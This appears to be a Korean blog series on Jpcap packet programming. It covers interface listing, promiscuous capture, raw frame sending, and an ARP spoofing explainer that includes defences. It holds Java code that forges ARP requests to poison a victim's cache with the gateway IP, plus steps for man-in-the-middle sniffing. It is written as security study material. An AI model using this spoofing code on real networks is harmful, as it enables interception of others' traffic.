//Protocol Type  //어떤유형의 프로토콜을 사용하는가 입니다. ip Ver 4이므로 0800
pb[16]=(byte)0x08; pb[17]=(byte)0x00;

//Hardware address size = Hardware length(Hlen)  = Mac address size = 6byte         //Mac주소는 6바이트
pb[18]=(byte)0x06;

//Porotocol size=  ip address size = 4byte     //IP주소는 4바이트
pb[19]=(byte)0x04;

//opcode    Request = 1, reply  =2           
pb[20]=(byte)0x00; pb[21]=(byte)0x01;
//sender hardware address     
pb[22]=(byte)0x00; pb[23]=(byte)0x00; pb[24]=(byte)0x00; pb[25]=(byte)0x00; pb[26]=(byte)0x00; pb[27]=(byte)0x00
//  GW의 MAC주소로서  바꾸고자하는 조작한 MAC주소 
//  (6바이트를 의미없는 값이나 공격자의 MAC주소로 바꾸면됩니다.)

// sender IP address 
pb[28]=(byte)0xc0; pb[29]=(byte)0xa8; pb[30]=(byte)0x00; pb[31]=(byte)0x01
////    희생자에게 전달될 GW  IP로 정확하게  192.168.0.1

//Target Hardware address 
pb[32]=(byte)0x00; pb[33]=(byte)0x00;        pb[34]=(byte)0x00; pb[35]=(byte)0x00; pb[36]=(byte)0x00;       pb[37]=(byte)0x00;
//ARP Request 정상패킷에서도 이부분은 비워두고 전달합니다.  
// 공격시에도 이부분은 비워두시고.

//target Ip address
 pb[38]=(byte)0xd2; pb[39]=(byte)0x6d; pb[40]=(byte)0x03; pb[41]=(byte)0x56;
// ARP Request 공격패킷에서 정확하게 희생자의 IP주소를 입력해 주어야 합니다.

sendPack.data =pb;
sender.sendPacket(sendPack); 
sender.close(); 
}
}
==========================================================================

ARP reply를 이용한 공격도 가능합니다만, request 와 reply는 패킷의 구성요소 조작시에 고려해야 할 사항이 조금 다릅니다
request와 reply둘다 Arp 구조안의 Sender Mac address를 조작하고 Sender IP address에 조작된 IP와 맵핑될 IP주소가들어간다는것은 똑같습니다. 
차이점은  request패킷의 Sender IP에  희생자의 ARP table에 없는(희생자가 알지못하는) IP주소를 넣어도 해당IP와 조작된 MAC 주소가 희생자에 테이블에 올라갑니다.  
하지만 reply패킷에서는 Sender IP에  희생자의 ARP table에 없는(희생자가 알지못하는) IP주소를 넣으면 희생자 테이블에 아무런 변화가 없습니다. 

이를 이용하게 되면 원하는 IP에 원하는 MAC주소까지 마음데로 희생자 ARP 테이블을 조작할 수 있습니다. 

결국 arp spoofing은 공격자가 희생자의 ARP table을 조작해서 원하는 곳으로 패킷의 이동경로를 조작하는 행위입니다.

reply패킷은 직접 만들어 보시기 바라며, 반듯이 공부용으로만 사용하여 주시기 바랍니다. 

AND

작성자유창훈

ARP부터 시작하겠습니다. 
패킷 구조가 나와있는 책은 꼭 한권 옆에 두고 언제라도 참고할 수 있도록 하시면 좋겠습니다.

1. ARP 이해 
2. 구조
3. 공격 방법
4. 방어 방법



1. ARP 프로토콜의 이해.

: 주소변환프로토콜. 
 
이더넷 환경에서 프래임의 구조는 위의 그림과 같습니다.
여기서 MAC Header이라고 되어있는 부분이 이더넷 헤더 이고 , Ether Type에 정의된 형식에 따라 뒤에 오는 Data부분이 ARP가 될 수 도 있고 RARP가 될 수 도 있고 IP 가 될 수 도 있습니다. 

이더넷 헤더에서 보듯이 제일앞에 나오는것, MAC 주소가 제일 먼저 나옵니다. 그만큼 이유가 있겠지요.
컴퓨터에서 다른 컴퓨터로 데이터를 전달할 때, 라우터를 거치게 됩니다.  전체구간동안 패킷안에 src_IP와 dst_IP는 변화가 없지만 MAC주소는 변하게됩니다.  즉, 각 구간마다 MAC주소는 변하게 되며 실질적인 통신이 가능하게 해주는 것은 MAC주소가 있기 때문입니다.  

보통 PC에서 처음인터넷을 연결할때, 게이트웨이의 IP주소는 알고있는데, MAC주소를 모릅니다. 
MAC주소가 없으면 데이터를 보내고자 할 때, 위에서보는 이더넷 프래임의 처음 6바이트를 채우지 못하여 데이터를 전달할 수가 없습니다. 
그래서 ARP 를 통하여 "내가 IP를 알고있으니 이 IP에 해당하는 MAC주소를 내놔라" 하면서 방송하는 것이 ARP입니다. 반대는 RARP이겠지요.~

ARP는 같은 네트워크 상에서만 공격이 가능합니다. Request패킷이 방송(브로드캐스트한다고해도) Router을 넘을 수 없으므로 ARP공격은 다른 네트워크 대역으로 할 수 없다는 뜻입니다. 아주 철통같은 망이라해도 유선이든 무선이든 한 곳이라도 접속가능하다면 위험합니다. 

2. 구조분석

 ARP구조는 다음과 같습니다.  구조는 살짝 참조하였습니다(http://www.ktword.co.kr/abbr_view.php?m_temp1=2188)
0                                                                31  
┌─────────────────┬────────────────┐──────────────────────────────────  
│           Hardware type          │        Protocol Type            │  
├────────┬────────┼────────────────┤──────────────────────────────────
│Hardware Length │ Protocol Length│ Operation │  
├────────┴────────┴────────────────┤──────────────────────────────────
│ Sender Hardware Address │  
├─────────────────────────────────────────────────────────────────────
│ Sender Protocol Address │  
├────────────────────────────────────────────────────────────────────
│ Target Hardware Address │  
├────────────────────────────────────────────────────────────────────
│                     Target Protocol Address                        │  
└────────────────────────────────────────────────────────────────────
<구조 설명은 위에 링크를 참고하셔서 알아두시면됩니다.>  
ARP 패킷 보실때    
opcode  가   1(Request)인지 2(Reply)인지 확인하시고, 

Request라면 다음과 같이 셋팅 됩니다. 
Sender Hadware Address : 보내는 노드 MAC주소         ========>>>> 이부분의 
Sender Protocol Address :  보내는 노드 IP주소
Target Hadware Address :  0으로 채워져있습니다.
Target Protocol Address :  MAC주소를 알고자하는 노드의 IP주소
Reply라면 다음과 같이 셋팅 됩니다
Sender Hadware Address : 보내는 노드  MAC주소         ========>>>> 이부분의 
Sender Protocol Address :  보내는 노드 IP주소
Target Hadware Address :  Request보낸사람의 MAC주소
Target Protocol Address :  Request보낸사람의 IP 주소

나머지 패킷 구성은 보시면 그냥 하실수있을정도입니다. 

3. 공격 방법 
ARP Spoofing 공격은 로컬 네트워크(LAN)에서 사용하는 ARP 프로토콜의 허점을 이용합니다. 허점이라하면 아무런 여과없이 ARP Request ,Reply를 받아들인다는 것이지요. 

ARP Request, Reply 둘다 사용할 수 있지만 Request를 많이 이용합니다. 

밑에 표는  ARP Request와 Reply 패킷으로 위장한 공격 패킷을 보낼때 필드에 채워질 사항으로 한번 정리해 보았습니다.  

 

 Request Reply 
 
Dstnation MacAddress
 Broadcast  Target의 정확한 Mac 주소
 
Source Mac Address
 자신을 숨기기위한 가짜 주소 자신을 숨기기 위한 가짜 주소 

Sender Mac Address 
 밑에 Sender IP와 맵핑될 MAC주소
(spoofing 시 공격자나 전달될 곳의 
 MAC주소로 위장)
 밑에 Sender IP와 맵핑될 MAC주소
(spoofing 시 공격자나 전달될 곳의 
 MAC주소로 위장)

 Sender IP Address
 네트워크상에 존재하는 IP
(spoofing시 일반적으로 Gateway IP)
공격 대상자의 ARP 캐시 테이블에
있는 IP

Target Mac Address 
 0으로 채움  아무거나 가능

 Target IP Address
 공격 대상자의 IP  아무거나 가능

딱 보시면 아시겠지만 Request패킷이 두가지 정도  신경쓸 필요가 없습니다.
저는 보통 특정 컴퓨터 한대만을 대상으로 할때는 Request를 사용하고  , 다수의 컴퓨터를 대상으로 할 때는 Reply를 사용합니다. 

여기서 ARP Request 패킷안에 게이트웨이의 정상적인 IP와 게이트웨이의 변조된 MAC주소(공격자 자신의 MAC)를 셋팅해서 공격대상인 PC에 보낸다면 어떻게 될까요?  자신의 응답패킷을 받은 컴퓨터는 당연히 게이트웨이 IP주소에 해당하는 MAC주소를 덮어쓸것입니다. 여과없이....
그러면 공격을 받은 PC는 (외부로 나가는 = 인터넷을 하는)모든 패킷의 처음 6바이트인 목적지 주소를 공격자의 MAC주소로 바꾸어 전송하게 됩니다. 공격자 PC에서는 이렇게 전달 받은 패킷을 진짜 gateway로 잘 전달해주면됩니다.

또 gateway를 상대로도 똑같은 원리를 적용하여 공격 대상자의 IP주소에 해당하는 맥주소를 공격자의 MAC주소로 변환시키고 외부로 부터 공격대상자로 가게 되는 패킷들은 gateway로 부터 잘 받아서 전달해 주기만 하면 됩니다. 

그러면 공격 대상자 는 인터넷이 조금 느려진다는 것을 제외하곤 이 사실을 눈치채기 어려우며, 공격자는 가만히 앉아서 교환되는 모든 패킷을 감시하는 Sniffing을 할 수 있습니다.  즉 , 예전 더미허브 환경과는 달리 요즘은 스푸핑을 전제로 스니핑을 시도하는 경우가 많습니다.

ARP공격에 따른 캐시테이블의 변화도  직관적이기 때문에 arp -a 리눅스는 arp -n 명령어를 통하여 확인가능합니다.


4. 방어개념
 
위에 설명되어있듯이 ARP는    헛점이 있습니다. 그 헛점을 막으면 되는것입니다. 여과없이 IP에 해당하는 MAC주소를 ARP캐시테이블에 저장하지 않도록 , 미리 IP와 MAC주소를 맵핑해여 고정적으로 ARP 캐시 테이블에 저장해 두는 것입니다. 

또한 스위치에서 포트에대한 MAC주소를 정의할 수도 있겠습니다. 

공격유형에 따라 여러가지가 있지만 만약 1회성의 공격이라면 가만히 있으면 원상복구 되기도 합니다. 
이는 캐시테이블상의 유지를 위해 라우터나 PC가 주기적으로 확인 패킷을 주고 받는데 이때 정상적으로 요청 응답을 하게 되면 ARP캐시테이블 상의 맵핑이 정상으로 돌아옵니다.   

하지만 보통 스푸핑은 스니핑을 위한 전초단계일 뿐이고, 스니핑이 이루어지기 위해 지속적인 공격이 이루어 지므로 1회성의 공격을 기다하기보단 보다 적극적인 예방 및 해결 조치가 필요합니다.  

arp -d 명령어로 arp 캐시 테이블을 초기화 시키고 정상ARP 패킷을 받는 방법도 있지만 이는 지속적인 공격이 이루어 질 때는, 아무런 효과를 거두지 못합니다.  


-------------------------------------------------------------------------------------------------------------------------------------------------------------
정리를 하고 보니, 허술한부분이 많은것 같습니다. 그냥 같이 공부하시면서 재미있게 봐주셨으면 좋겠습니다. 
이상으로  ARP정리를 마치고  다음 글에는 조작된 ARP 패킷을 작성해 보도록 하겠습니다. 



 
AND

작성자 유창훈


환경설정 마무리하겠습니다.
다음과 같은 순서를 말씀드렸습니다

1. 전체 Packet구조인 ICMPPacket 구조를 사용하겠다 선언하고,   ICMP 멤버변수를 셋팅한다.
2. IP의 data부분인 ICMP구조가 완성되었으므로, 캡슐화순서에 따라 IP헤더부분을 작성한다.
3. getbyte() 메소드를 통해 전체 ICMPPacket로 선언된 p의 데이터링크 계층(이더넷헤더)의 해당하는 값을 할당할 수 있음을 선언한다.
4. 이더넷의 데이터 부분인 IP헤더 IP데이터(ICMP)가 다 작성되었으므로 이더넷 헤더를 작성한다.
5. 헤더 작성후, 이더넷 헤더를 기존의 ICMPPacket에 붙인다
6. 보낸다.

하지만 제가 오늘 할 프로그래밍 적 순서는 다음과 같습니다
1. 전체 Packet 구조의 기본형만을 선언한다 ( ICMPPacket사용안함)
2. 임의의 배열안에 패킷 전체 구조를 작성한다.
3. Packet의 기본형구조에 방금전 구성한 전체 패킷 구조를 맵핑한다
4. 보낸다.

---------------------------------------------------------------------------------------------------------
처음 부터 제가 생각한 프로그래밍 구조는 다음과 같습니다.

"우리가 보내고자 하는 패킷의 길이만큼  1byte형 배열을 선언하여, 바이트단위로 또는 비트단위로 헥사 값으로 셋팅하여
보낸다." 
  
Jpcap library에서 제공해주는 클래스와 메소드는 편하고 유용 합니다. 저도 다른프로젝트의 도구로 Jpcap을 사용한다면 다른 개발자와의 협업을 위해서라도 Jpcap에서 제공해주는 방법들을 다 사용할것입니다. 그게  효율적입니다.
하지만
여기서 패킷에서 비트단위또는 바이트 단위까지 헥사값이나 이진값으로 직접 보며 익히는 방법이 패킷에 대한 구조를 제일 빠르게 익히는 방법인것 같습니다. 좀... 비효율적이긴 해도요. 그래서 다음과 같이 구현하였습니다.

---------------------------------------------------------------------------------------------------------------------------

JpcapSender sender=JpcapSender.openDevice(devices[0]);
/*sender 객체를 사용하도록 선언, JpcapSender.openDevice(device[디바이스번호]);
               디바이스 번호는 앞전에 설명했었습니다. 참고하시구요 */
Packet sendPack = new Packet();
               /*Packet 클래스는 ICMP , TCP/UDP... 등등 패킷마다 각기 다른 형태를 맵핑할 수 있도록 
                  원형의 틀을 제공합니다
               Packet sendPack = new IMCPPacket(); 라고하면 ICMP패킷구조가 맵핑됩니다.
        저는 여기에 그냥 원형인 Packet(); 을 선언함으로써, 적용되는 프로토콜의 구조가 없게 만듭니다. 
               참고로 Jpcap이용시 이렇게는 거의 사용하지 않습니다. 
               
              
 byte pb[] = new byte[66];          ////
pb[0]=(byte)0x00; 
pb[1]=(byte)0x0e;
pb[2]=(byte)0xe8;
pb[3]=(byte)0x52;
pb[4]=(byte)0x98;
pb[5]=(byte)0xf6;            ...................................................
..  . ..    .. ...  .. . ............
.... ... .. ........ .. ...

sendPack.data =pb;
/*  이부분에서 좀 오래 걸렸는데요, 원래는 Packet 클래스로 선언된 객체에서 멤버인 data에 맵핑되어야할 요소는 ("asd").getBytes() 입니다. 즉, 임의의 스트링을 바이트화 해서 맵핑시키므로써(내부적으로 구체적인 로직은 모르겠습니다.) byte데이터형인 이더넷헤더구조가 맵핑가능하도록 기본 60바이트를 활성화시킵니다.
 
만약에 sendPack.data =("asdf").getBytes();  이렇게 선언되면 초기에 "asdf" 라는 스트링에 해당하는 byte값이 입력이되고 앞부분이 "asdf" 값을 제외한 나머지 공간은 비워진 상태로 총 60byte의 공간이 셋팅되게 됩니다. 이상태로 패킷을 보내면되는데, 우리가 원하는 패킷 형태로 패킷을 보내려면 위에서와 같이 byte형 배열을 지정해 놓고 미리 값을 셋팅해 놓은 상태에서 배열을  sendPack.data에 맵핑시켜주면 됩니다. 
*/
sender.sendPacket(sendPack);
                //sendPack의 인자는 Packet 클래스로 선언되지않고서는 보낼 수 가 없습니다.  
                  
sender.close();   //종료. 
================source=====================================
mport jpcap.*;
import jpcap.packet.*;

class send
{
public static void main(String[] args) throws java.io.IOException{
NetworkInterface[] devices = JpcapCaptor.getDeviceList();
if(args.length<1){
System.out.println("Usage: java SentICMP <device index (e.g., 0, 1..)>");
for(int i=0;i<devices.length;i++)
System.out.println(i+":"+devices[i].name+"("+devices[i].description+")");
System.exit(0);
}
int index=Integer.parseInt(args[0]);
JpcapSender sender=JpcapSender.openDevice(devices[index]);
//////// 자기가 쓰는 인터페이스가 0 번이면 index대신에 0 넣으면됩니다. 
Packet sendPack = new Packet();

byte pb[] = new byte[14];
///////////////// 목적지 MAC address   6byte
pb[0]=(byte)0x00; 
pb[1]=(byte)0x0e;
pb[2]=(byte)0xe8;
pb[3]=(byte)0x52;
pb[4]=(byte)0x98;
pb[5]=(byte)0xf6;
//////////////// 출발지 MAC address   6byte
pb[6]=(byte)0xf4;
pb[7]=(byte)0x6d;
pb[8]=(byte)0x04;
pb[9]=(byte)0x0e;
pb[10]=(byte)0xf5;
pb[11]=(byte)0xaa;
////////    Type or Length    0x0800 = 이더넷
pb[12]=(byte)0x08;
pb[13]=(byte)0x00;

sendPack.data =pb;
sender.sendPacket(sendPack); 
sender.close(); 
}
}
================================================================
위의 소스를 실행하여서 wireshark로 잡으면 60바이트 패킷이  소스맥주소와 목적지 맥주소가 타입까지 셋팅되고 나머지는 빈 상태로 총 60바이트 전송하게 됩니다. 


이상으로 마치고 

이제는 여러 공격방법 및 SWT을 이용한 비쥬얼적인 작업을 수행하도록 하겠습니다. 

AND

작성자 유창훈 

안녕하세요. 오늘은 패킷을 보내는 과정을 알아보도록 하겠습니다.
참고로 패킷을 보내는 예제는 jpcap 사이트 가시면 친절하게 있습니다. 
하지만 저는 그 방법을 사용할 것이 아니기때문에, 좀 다른 방법을 이용하도록 하겠습니다 . 

환경 셋팅 1,2 에서는 Jpcap library를 이용하여 랜카드를 선택하고, 우리가 원하는 패킷을 필터링 하는 방법을 알아보았습니다.
그러면 이제 마지막으로 우리가 원하는 형태의 패킷을 보내기만 한다면, 기본적인과정은 끝인 샘입니다. 

먼저 기존 방법부터 설명하도록 하겠습니다. 

많이들 사용하시는 winpcap에서는 sendPacket함수 인자에 전송 하고자하는 버퍼를  선언해 내용을 구성하고,  버퍼의 포인터와 길이를 넘겨줌으로써 패킷을 쉽게 보낼 수 있습니다. 이건 기존 레퍼런스도 많고 데이터형도 별로 따지지 않는데, Jpcap은 조금 다릅니다.

Jpcap은 winpcap에 비해 자바 특성인 클래스를 잘 살려서 각종 메소드와, 오브젝트를 사용합니다. 
데이터링크계층은 이더넷이라 가정하고, ICMP패킷을 예를 들어보겠습니다.

ICMP패킷을 보내기 위해서 친절하게 Jpcap은 ICMP패킷의 구조 자체를 멤버 변수로 구성해서 객체화하여 가지고 있습니다.
캡슐화되는 순서에 따라 제일먼저 ICMP 구성하고  IP헤더 구성해서  ICMP앞에 붙이고  ,  Ethernet 구성해서 IP헤더 앞에 붙이고,  ..... 이런 순서로 프로그래밍을 하게 됩니다. 
ICMP   =======>>    IP header + (ICMP) ==========>>  ( EthernetHeader + (IP_Header + (ICMP)))


프로그래밍 순서가 딱히 정해져 있는 것은 아니지만 이렇게 구현하는 것이 여러면에서 쉽습니다.


ICMP 구성
---------------------------------------------------------------------
ICMPPacket p=new ICMPPacket();
이렇게 선언하고   --  기존에 Jpcap이 다 만들어 놓은 틀을 사용하겠다!!!는뜻.
ICMPPacket 이라는 큰 틀은 p라는 이름으로 사용합니다.
<br />
  p.type=ICMPPacket.ICMP_TSTAMP;
p.seq=1000;
p.id=999;
p.orig_timestamp=123;
p.trans_timestamp=456;
p.recv_timestamp=789;
이렇게 값을 설정 할 수 있습니다. 
---------------------------------------------------------------------
IP헤더는 이렇게 
p.setIPv4Parameter(0,false,false,false,0,false,false,false,0,1010101,100,IPPacket.IPPROTO_ICMP,
InetAddress.getByName("www.yahoo.com"),InetAddress.getByName("www.amazon.com"));
p.data="data".getBytes();     

각 파라메터 순서로 그냥 셋팅할 수 있습니다. 참... 쉽죠?...그냥 어서 셋팅해 달라고 하는것 같네요. 
빨간줄 부분.... 희한한 놈입니다.. 

아시다시피  getByte()메소드는  앞에 스트링 "data"를 바이트로 변환 시켜줍니다. 이것을 packet 클래스의 byte형 배열인 data멤버에 맵핑시켜주게되면,  최소 60byte 이상의 공간을 할당받고  p에 데이터링크 계층에 해당하는 값을 할당 가능한 형태로 선언되게 됩니다. (데이터링크 계층의 헤더에 해당하는 값을 할당가능하게 해준다는 말이 더 정확할 것 같습니다)

소스분석만으로 볼때 순서상으로는 ICMP의 데이터부분인, ping을 할때 임의의 데이터를 선언하는 것으로 보이는데 , 참... 이리저리 돌려 테스트 해보니까 다양하게 쓰일 수도 있겠더라구요. 

한 예로 데이터 링크 영역의 값만을 셋팅하여 패킷을 보낼 때 사용되기도 합니다. 예를들어 이더넷에서 헤더만을 구성하여(목적지 맥주소, 소스 맥주소, 타입 or 길이)이렇게 만 구성하고 보낼 수 도 있다는 뜻입니다.


---------------------------------------------------------------------
다음 이더넷 해더를 구성하기 위해 "EthernetPacke" 이라는 클래스를 사용하고 
---------------------------------------------------------------------
  EthernetPacket ether=new EthernetPacket();
이렇게 선언하고   --  기존에 Jpcap이 다 만들어 놓은 틀을 사용하겠다!!!는뜻.

ether.frametype=EthernetPacket.ETHERTYPE_IP;
ether.src_mac=new byte[]{(byte)0,(byte)1,(byte)2,(byte)3,(byte)4,(byte)5};
ether.dst_mac=new byte[]{(byte)0,(byte)6,(byte)7,(byte)8,(byte)9,(byte)10};

이렇게 값을  기냥 셋팅해버리고

p.datalink=ether;
이렇게 ICMPPacket 클래스의  datalink 에 방금 구성한 이더넷 구조를  맵핑시킵니다. 

sender.sendPacket(p);
그리고 이렇게 보냅니다. 

즉, 
1. 전체 Packet구조인 ICMPPacket 구조를 사용하겠다 선언하고,   ICMP 멤버변수를 셋팅한다.
2. IP의 data부분인 ICMP구조가 완성되었으므로, 캡슐화순서에 따라 IP헤더부분을 작성한다.
3. getbyte();메소드를 통해 전체 ICMPPacket로 선언된 p의 데이터링크 계층(이더넷헤더)의 해당하는 값을 할당할 수 있음을 선언한다.
4. 이더넷의 데이터 부분인 IP헤더 IP데이터(ICMP)가 다 작성되었으므로 이더넷 헤더를 작성한다.
5. 헤더 작성후, 이더넷 헤더를 기존의 ICMPPacket에 붙인다
6. 보낸다.

=========full source ================================================
SendICMP.java


import jpcap.*;
import jpcap.packet.EthernetPacket;
import jpcap.packet.ICMPPacket;
import jpcap.packet.IPPacket;

class SendICMP
{
public static void main(String[] args) throws java.io.IOException{
NetworkInterface[] devices = JpcapCaptor.getDeviceList();
if(args.length<1){
System.out.println("Usage: java SentICMP <device index (e.g., 0, 1..)>");
for(int i=0;i<devices.length;i++)
System.out.println(i+":"+devices[i].name+"("+devices[i].description+")");
System.exit(0);
}
int index=Integer.parseInt(args[0]);
JpcapSender sender=JpcapSender.openDevice(devices[index]);

ICMPPacket p=new ICMPPacket();
p.type=ICMPPacket.ICMP_TSTAMP;
p.seq=1000;
p.id=999;
p.orig_timestamp=123;
p.trans_timestamp=456;
p.recv_timestamp=789;
p.setIPv4Parameter(0,false,false,false,0,false,false,false,0,1010101,100,IPPacket.IPPROTO_ICMP,
InetAddress.getByName("www.yahoo.com"),InetAddress.getByName("www.amazon.com"));
p.data="data".getBytes();

EthernetPacket ether=new EthernetPacket();
ether.frametype=EthernetPacket.ETHERTYPE_IP;
ether.src_mac=new byte[]{(byte)0,(byte)1,(byte)2,(byte)3,(byte)4,(byte)5};
ether.dst_mac=new byte[]{(byte)0,(byte)6,(byte)7,(byte)8,(byte)9,(byte)10};
p.datalink=ether;

//for(int i=0;i<10;i++)
sender.sendPacket(p);
}
}
===============================================================

여기까지가 기존의 Jpcap에서 지원하는 방법으로 ICMP패킷을 보내는 방법입니다.  내용이 길어졌네요,  

이제 우리가 구현할 방법을 설명할 차례인데....너무 피곤하네요.. 3시인지라... 
오늘 다쓰려고했는데 너무 많아졌습니다. 

일단 자고 일어나서 올리도록 하겠습니다.

'프로그래밍 > jpcap programming' 카테고리의 다른 글

ARP 이해 및 공격방어  (0) 2011.06.02
Jpcap을 이용한 패킷 보내기 2  (0) 2011.06.02
JPCAP 패킷 캡쳐  (0) 2011.06.02
JPCAP 인터페이스 리스트 출력  (0) 2011.06.02
eclipse java소스 자동정렬  (0) 2011.05.23
AND

작성자 : 유창훈

안녕하세요 이번엔, 패킷을 캡쳐하는 방법을 설명하도록 하겠습니다. 
지난 번에 말씀드렸던 jpcap에서는 몇가지 유용한 패키지를 제공해주고 있습니다. 
저번시간에  JpcapCaptor.getDeviceList() 라는 메소드를 통해서 디바이스 드라이버 정보를 얻어오는 방법을 알아보았습니다.

이번 시간에는 패킷을 캡쳐해주는 메소드에 대해서 알아보도록 하겠습니다.

 int snaplen, boolean promisc, int to_ms)

이 메소들를 통해서 패킷을 받아오게 되는데요. 다음의 메소드도 같이 보세요. 

위 두개의 메소드는 항상 같이 쓰인다는걸 기억해두세요.
openDevice 메소드를 통해 패킷 캡쳐를 활성화 시키고, loopPackt으로 패킷이 캡쳐되었을때 어떠한 행동을 할지 지정이 가능합니다


  • openDevice(인터페이스번호, 한번에 캡쳐가능한byte, true면 promisc모드, processPacket()의 Timeout)
  • loopPacket(캡쳐할 패킷수[-1이면 무제한], 패킷이 캡쳐되었을때 실행할 메소드)



일단 소스를 보면서 얘기하도록 하겠습니다.

일단  패킷캡쳐하는 부분만 따로 테스트를 해보느라, 저번에 소스와 통합과 GUI프로그래밍은 패킷 보내기 까지 완성된후 하도록 하겠습니다. 

여기서 dump클래스는 패킷이 캡쳐되었을때, 수행되는 클래스입니다. dump에서 결과적으로 eceivePacket()메소드가 실행되는 구조입니다.


=========dump.java===========
 
import jpcap.*;
import jpcap.packet.Packet;

class dump implements PacketReceiver {
public void receivePacket(Packet p) {
/*Jpcap에서 패킷을 받아오는 형식은 byte형 으로 어떤 패킷구조 형식을 띄기 쉬운 형태로 유저에게 던져주게 됩니다. Jpcap에서 사용자 편하게 하려고 여러 메소드들을 많이 만들어놔서 구현이 편하게 하였는데요. 개인적으로 제가 하고자하는 것은 프래임에서 앞에 동화를 위한 dst_mac addr부터 시작되는 모든 부분을 가공이 되지 않은 형태로 받아와서 , 우리가 원하는 형태로 조작하는 것이기 때문에, 최대한 어떠한 틀이 잡혀있지 않은상태로 , 단순히 배열에 쭉~ 담겨져있는 상태로 패킷을 받고자 하였습니다.
*/
byte[] bytes = new byte[p.header.length + p.data.length];
//Jpcap이라는 놈이 패킷을 잡았을때,  어떠한 패킷이든 Packet이라는 틀에 넣어두면서 //header과 data부분으로 구분지어 놓는 형태입니다. 
 
System.arraycopy(p.header, 0, bytes, 0, p.header.length);
System.arraycopy(p.data, 0, bytes, p.header.length, p.data.length);
//이렇게 하면 우리가 선언한 bytes 라는 byte형 배열에 캡쳐된 패킷이 쭉 담기게 됩니다. 

if(bytes[6]==(byte)0x00 && 
bytes[7]==(byte)0x0d &&
//byte형 배열이라 byte형태로 값을 비교합니다. 매줄마다 형변환하는게 귀찮아서  
//한번에 어떻게 처리해놓고하는방법이 없을까 했는데, 잘 안되네요. . 자바 고수님들 ~~help//

bytes[8]==(byte)0x60 &&
bytes[9]==(byte)0xb7 &&
bytes[10]==(byte)0x40 &&
bytes[11]==(byte)0xf7 )  
               //저희 강의실 선생님 컴퓨터 맥주소가  00-0d-60-b6-40-f7입니다.
//이더넷프래임에서 6,7,8,9,10,11번째 바이트가 출발지 mac주소입니다.
{
System.out.println("From teacher");
}
/*
StringBuffer buf = new StringBuffer();
for (int i = 0, j; i < bytes.length;) {
for (j = 0; j < 8 && i < bytes.length; j++, i++) {
String d = Integer.toHexString((int) (bytes[i] & 0xff));
buf.append((d.length() == 1 ? "0" + d : d) + " ");
if (bytes[i] < 32 || bytes[i] > 126)
bytes[i] = 46;
}
buf.append("[" + new String(bytes, i - j, j) + "]\n");
}
System.out.println(buf.toString());
*/
}

public static void main(String[] args) throws Exception {

NetworkInterface[] devices = JpcapCaptor.getDeviceList();
if (args.length < 1) {
System.out.println("usage: java Tcpdump <select a number from the following>");

for (int i = 0; i < devices.length; i++) {
System.out.println(i + " :" + devices[i].name + "("
+ devices[i].description + ")");
System.out.println("    data link:" + devices[i].datalink_name
+ "(" + devices[i].datalink_description + ")");
System.out.print("    MAC address:");
for (byte b : devices[i].mac_address)
System.out.print(Integer.toHexString(b & 0xff) + ":");
System.out.println();
for (NetworkInterfaceAddress a : devices[i].addresses)
System.out.println("    address:" + a.address + " "
+ a.subnet + " " + a.broadcast);
}
} else {
JpcapCaptor jpcap = JpcapCaptor.openDevice(devices[Integer.parseInt(args[0])], 2000, true, 1);
//j실행을위한 arg값을 인자로 받아실행, 최대 2000byte까지캡쳐, promics모드작동
 
jpcap.loopPacket(-1, new dump());          
///패킷이 캡쳐되면 dump()를 실행하여라
}
}
}
=======================
실행한상태에서 다른커맨드창 띄워서 ping 을 하면 필터링된 맥주소가 출발지인 패킷만 화면에 보여주게 됩니다.

이제 우리가 원하는 디바이스에 접근하여 원하는 모드로  원하는 양만큼 패킷을 캡쳐할 수 있고, 무엇보다도 원하는 형태의 패킷을 캡쳐할 수 있습니다.
오늘은 여기까지 하도록 하겠습니다. 

다음시간은 패킷 보내는걸 알아보도록 하겠습니다.

* 참고로 녹색으로 주석 되어있는부분은 출력형식을 좀 조절하여 표현한것입니다. 간단하게 패킷 캡쳐 프로그램을 구현해 보았습니다.
 



AND

기본적인 환경셋팅과 jpcap을 이용한 랜카드 디바이스 정보의 출력을  해보겠습니다.


1. java & eclipse를 설치합니다. 
이부분은 넘어가겠습니다

2. jpcap을 설치합니다

여기로 가시면 운영체제 별로 다운하실 수 있습니다. 
저는 우분투이므로 패키지형태로 설치하였습니다.
패키지 열어보시면 아시겠지만    /usr/java/packages/lib/ext/jpcap.jar 이렇게 위치하고있으며,
 import java.*;과 import java.packet.*;         
을 추가하시면 됩니다.

3. 그럼 eclipse에서 프로로젝트, 패키지, 클래스(저는 클래스 이름은 ToolMain 으로 하였습니다) 생성하시고 

ToolMain.java ======================================================

package Tool;

import jpcap.*;
import jpcap.packet.*;
public class ToolMain
{
public static void main(String[] args) 
       {
//for save each inteface information
NetworkInterface[] devices = JpcapCaptor.getDeviceList();
//for each network interface
for (int i = 0; i < devices.length; i++) 
 {
               //print out its name and description
 System.out.println(i+": "+devices[i].name + "(" + devices[i].description+")");

              //print out its datalink name and description
 System.out.println(" datalink: "+devices[i].datalink_name + "(" + devices[i].datalink_description+")");

             //print out its MAC address
System.out.print(" MAC address:");
 
   for (byte b : devices[i].mac_address)
        System.out.print(Integer.toHexString(b&0xff) + ":");
  
System.out.println();

 //print out its IP address, subnet mask and broadcast address
 for (NetworkInterfaceAddress a : devices[i].addresses)
  System.out.println(" address:"+a.address + " " + a.subnet + " "+ a.broadcast);
}

}
}
==========================

위의 내용을 복사하고 실행합니다. 혹시 import jpcap.*;  이나 import jpcap.pcap.*;에서 오류가 발생한다면 
'run configuration'에서 'Source Lookup Path' 의 'default'에 jpcap.jar - /usr/java/packegs/lib/ext가 추가되어있는지 확인해 보시고
또한
'project'에 'properties'가셔서 'java compiler'에 Errors/Warnings에 보시면 우측 상단에 Configure Workspace Settings..이라는 부분이 보이실겁니다. 거기 클릭하셔서  중간에 Edprecated and restricted API에 Frobidden reference(access rules) 를 Ignore로 바꾸어주세요.


앞으로 우리가 사용하게 될 라이브러리는 JPcap입니다. 윈도우의 winpcap 자바버전이라고 생각하시면 됩니다.
앞으로 제가 디바이스드라이버 및 프로그램을 구현하여 랜카드에 접근하고 오고 패킷을 캡쳐 및 보내려고  하면  엄청나게 공부가 되겠지만, 시간도 오래걸리고  이 글을 쓰는 목적에도 벗어나게 됩니다. 
네트워크 상에서 패킷을 이용한 공격방어 알고리즘을 구현하고 툴을 제작함으로써  보안 공부 가 목적이기 때문에 JPcap 라이브러리를 이용하여 패킷의 receive & sending을 처리하도록 하겠습니다.

